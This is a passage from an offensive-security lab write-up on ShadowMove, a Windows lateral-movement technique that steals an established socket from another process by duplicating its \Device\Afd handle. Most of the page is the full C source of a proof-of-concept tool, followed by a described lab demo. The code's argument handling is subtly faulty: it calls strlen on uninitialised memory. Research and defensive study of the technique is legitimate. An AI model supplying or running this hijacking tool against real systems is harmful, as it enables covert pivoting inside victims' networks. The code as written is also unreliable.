ShadowMove: Lateral Movement by Duplicating Existing Sockets

​ShadowMove (original paper by researchers Amirreza Niakanlahiji, Jinpeng Wei, Md Rabbi Alam, Qingyang Wang and Bei-Tseng Chu, go check it for full details) is a lateral movement technique that works by stealing (duplicating) an existing socket connected to a remote host, from a running process on a system an adversary has compromised.
This is a quick lab to familiarize with the technique, while using the PoC by Juan Manuel Fernández which he provided in his post.
Overview
The below is a simplified diagram showing how the technique works and how I tested it in my lab:
Source and Target hosts communicating using ShadowMove technique
Let's see what we have in the above diagram:
1.
On the left, we have a compromised host (for example, we landed on this host by means of a successful phish) 192.168.1.117 - this is the source host from which we want to move laterally to the target host 192.168.56.102.
2.
On the right, we have the target host 192.168.56.102, which has a listening socket on TCP port 80, by means of running nc -lvp 80
3.
Source host 192.168.1.117 has an established connection to the target host 192.168.56.102:80 via nc.exe.
4.
On the source host, there's ShadowMove.exe process running - this is the process that executes the ShadowMove lateral movement technique. Note that it does not establish any connections to remote hosts at any point in time during its lifetime - this is the beauty of the technique.
5.
On the source host, ShadowMove.exe enumerates all handles nc.exe has opened and looks for handles to \Device\Afd, which are used for network socket communications. Once found, the handle is used to create a duplicate socket with WSADuplicateSocketW and WSASocket API calls. Once the shared socket is created, getpeername is used to check if the destination address of the socket is that of target host's IP address, which in our case is 192.168.56.102.
6.
Once the shared socket is created based on the \Device\Afd handle pointing to the target host, as found in step 5, ShadowMove.exe can now write to that socket with send and read from it with recv API calls.
It's important to stress once more, the ShadowMove.exe does not create any TCP connections to the target host. Instead, it reuses the existing connected socket to 192.168.56.102:80  between the source and target host, that was established by the nc.exe process on the source system - and this is the key point of this lateral movement technique.
Code
Below is the code written by Juan Manuel Fernández which I modified slightly, so that it would compile without errors in my development environment with Visual Studio 2019:
1
// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) 
2
​
3
#define _WINSOCK_DEPRECATED_NO_WARNINGS
4
#include <winsock2.h>
5
#include <Windows.h>
6
#include <stdio.h>
7
​
8
#pragma comment(lib,"WS2_32")
9
​
10
// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
11
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
12
#define SystemHandleInformation 16
13
#define ObjectNameInformation 1
14
​
15
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
16
	ULONG SystemInformationClass,
17
	PVOID SystemInformation,
18
	ULONG SystemInformationLength,
19
	PULONG ReturnLength
20
	);
21
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
22
	HANDLE SourceProcessHandle,
23
	HANDLE SourceHandle,
24
	HANDLE TargetProcessHandle,
25
	PHANDLE TargetHandle,
26
	ACCESS_MASK DesiredAccess,
27
	ULONG Attributes,
28
	ULONG Options
29
	);
30
typedef NTSTATUS(NTAPI* _NtQueryObject)(
31
	HANDLE ObjectHandle,
32
	ULONG ObjectInformationClass,
33
	PVOID ObjectInformation,
34
	ULONG ObjectInformationLength,
35
	PULONG ReturnLength
36
	);
37
​
38
typedef struct _SYSTEM_HANDLE
39
{
40
	ULONG ProcessId;
41
	BYTE ObjectTypeNumber;
42
	BYTE Flags;
43
	USHORT Handle;
44
	PVOID Object;
45
	ACCESS_MASK GrantedAccess;
46
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
47
​
48
typedef struct _SYSTEM_HANDLE_INFORMATION
49
{
50
	ULONG HandleCount;
51
	SYSTEM_HANDLE Handles[1];
52
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
53
​
54
typedef struct _UNICODE_STRING
55
{
56
	USHORT Length;
57
	USHORT MaximumLength;
58
	PWSTR Buffer;
59
} UNICODE_STRING, * PUNICODE_STRING;
60
​
61
​
62
typedef enum _POOL_TYPE
63
{
64
	NonPagedPool,
65
	PagedPool,
66
	NonPagedPoolMustSucceed,
67
	DontUseThisType,
68
	NonPagedPoolCacheAligned,
69
	PagedPoolCacheAligned,
70
	NonPagedPoolCacheAlignedMustS
71
} POOL_TYPE, * PPOOL_TYPE;
72
​
73
typedef struct _OBJECT_NAME_INFORMATION
74
{
75
	UNICODE_STRING Name;
76
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
77
​
78
PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName)
79
{
80
	return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
81
}
82
​
83
SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
84
	HANDLE hProc;
85
	PSYSTEM_HANDLE_INFORMATION handleInfo;
86
	DWORD handleInfoSize = 0x10000;
87
	NTSTATUS status;
88
	DWORD returnLength;
89
	WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
90
	SOCKET targetSocket;
91
​
92
	// Open target process with PROCESS_DUP_HANDLE rights
93
	hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
94
	if (!hProc) {
95
		printf("[!] Error: could not open the process!\n");
96
		exit(-1);
97
	}
98
	printf("[+] Handle to process obtained!\n");
99
​
100
	// Find the functions
101
	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
102
	_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
103
	_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
104
​
105
	// Retrieve handles from the target process
106
	handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
107
	while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
108
		handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
109
​
110
	printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);
111
​
112
	// Iterate 
113
	for (DWORD i = 0; i < handleInfo->HandleCount; i++) {
114
​
115
		// Check if it is the desired type of handle
116
		if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {
117
​
118
			SYSTEM_HANDLE handle = handleInfo->Handles[i];
119
			HANDLE dupHandle = NULL;
120
			POBJECT_NAME_INFORMATION objectNameInfo;
121
​
122
			// Duplicate handle
123
			NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
124
			objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);
125
​
126
			// Get handle info
127
			NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);
128
​
129
			// Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)
130
			if (objectNameInfo->Name.Length == 22) {
131
				printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);
132
​
133
				// Check if it ends in "Afd"
134
				LPWSTR needle = (LPWSTR)malloc(8);
135
				memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
136
				if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {
137
​
138
					// We got a candidate
139
					printf("\t[*] \\Device\\Afd found at %d!\n", i);
140
​
141
					// Try to duplicate the socket
142
					status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
143
					if (status != 0) {
144
						printf("\t\t[X] Error duplicating socket!\n");
145
						free(needle);
146
						free(objectNameInfo);
147
						CloseHandle(dupHandle);
148
						continue;
149
					}
150
​
151
					// We got it?
152
					targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
153
					if (targetSocket != INVALID_SOCKET) {
154
						struct sockaddr_in sockaddr;
155
						DWORD len;
156
						len = sizeof(SOCKADDR_IN);
157
​
158
						// It this the socket?
159
						if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) {
160
							if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
161
								printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));
162
								free(needle);
163
								free(objectNameInfo);
164
								return targetSocket;
165
							}
166
						}
167
​
168
					}
169
​
170
					free(needle);
171
				}
172
​
173
			}
174
			free(objectNameInfo);
175
​
176
		}
177
	}
178
​
179
	return 0;
180
}
181
​
182
​
183
int main(int argc, char** argv) {
184
	WORD wVersionRequested;
185
	WSADATA wsaData;
186
	DWORD dwProcessId;
187
	LPSTR dstIP = NULL;
188
	SOCKET targetSocket;
189
	char buff[255] = { 0 };
190
​
191
	printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");
192
​
193
	// smgateway.exe [PID] [IP dst]
194
	/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
195
	if (argc != 3) {
196
		printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);
197
		exit(-1);
198
	}
199
	dwProcessId = strtoul(argv[1], NULL, 10);
200
	dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1);
201
	memcpy(dstIP, argv[2], strlen(dstIP));
202
​
203
​
204
	// Classic
205
	wVersionRequested = MAKEWORD(2, 2);
206
	WSAStartup(wVersionRequested, &wsaData);
207
​
208
	targetSocket = findTargetSocket(dwProcessId, dstIP);
209
	send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0);
210
	recv(targetSocket, buff, 255, 0);
211
	printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff);
212
	return 0;
213
}
Copied!
Demo
Once we have compiled the above code, we can test the technique as it was described earlier in our diagram. Below highlighted are key aspects of the demo:
In the top right corner, there's a target system 192.168.56.102 with nc listening on port 80.
In the top left corner, there's a compromised (source) system and nc.exe establishing a connection to target host 192.168.56.102:80.
In the bottom left corner, there's ShadowMove.exe running on the source system, which enumerates handles of the nc.exe running on the source system, finds a socket that is connected to 192.168.56.102:80 (target system), duplicates it and writes hello from shadowmove and reused socket! to it, which is then received on the target system (top right). 
Target system (top right) writes back to the same socket hello from target to shadowmove, which is received by shadowmove.exe on the source system (bottom left).
In the bottom right, we see a ProcessHacker that shows that at no point in time shadowmove.exe establishes no TCP connections.
Demo: ShadowMove Lateral Movement in Action
References
​https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf​
Hijacking connections without injections: a ShadowMoving approach to the art of pivoting | AdeptsOf0xCC
Hijacking connections without injections: a ShadowMoving approach to the art of pivoting |
Man-in-the-Browser via Chrome Extension
Next - offensive security
Persistence
Last modified 8mo ago
Copy link
Contents